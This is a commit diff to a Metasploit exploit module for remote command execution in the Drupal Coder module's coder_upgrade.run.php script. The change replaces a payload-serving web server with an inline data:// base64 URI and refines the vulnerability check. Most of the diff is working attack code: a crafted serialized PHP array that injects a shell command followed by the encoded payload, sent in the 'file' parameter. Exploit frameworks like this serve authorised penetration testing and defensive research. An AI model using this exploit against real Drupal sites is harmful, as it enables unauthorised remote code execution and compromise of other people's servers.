Use data:// instead of bogus web server and check() improvements.

Author: mdisec

modules/exploits/unix/webapp/drupal_coder_exec.rb

@@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
-  include Msf::Exploit::Remote::HttpServer
 
   def initialize(info={})
     super(update_info(info,
@@ -27,7 +26,7 @@ def initialize(info={})
       'License'        => MSF_LICENSE,
       'Author'         =>
         [
-          'Nicky Bloor',                         # discovery
+          'Nicky Bloor <[email protected]>',  # discovery
           'Mehmet Ince <[email protected]>'  # msf module
         ],
       'References'     =>
@@ -55,9 +54,7 @@ def initialize(info={})
 
     register_options(
       [
-        OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/']),
-        OptAddress.new('SRVHOST', [true, 'Bogus web server host to receive request from target and deliver payload']),
-        OptPort.new('SRVPORT', [true, 'Bogus web server port to listen'])
+        OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])
       ]
     )
   end
@@ -67,15 +64,14 @@ def check
       'method' => 'GET',
       'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
     )
-    if res && res.code == 200
+    if res && res.body.include?('file parameter is not setNo path to parameter file')
       Exploit::CheckCode::Appears
     else
       Exploit::CheckCode::Safe
     end
   end
 
-  def on_request_uri(cli, _request)
-    print_status("Incoming request detected...")
+  def exploit
     p = ''
     p << 'a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}'
     p << 's:11:"theme_cache";s:16:"theme_cache_test";'
@@ -88,20 +84,14 @@ def on_request_uri(cli, _request)
     p << ':"f --help && '
     p << payload.encoded
     p << ' #";s:4:"name";s:4:"test";}}}'
-    print_status("Sending payload...")
-    send_response(cli, p)
-  end
-
-  def exploit
-    start_service
+    payload = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}"
     send_request_cgi(
       'method' => 'GET',
       'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'),
       'encode_params' => false,
       'vars_get' => {
-        'file' => get_uri
+        'file' => payload
       }
     )
-    stop_service
   end
 end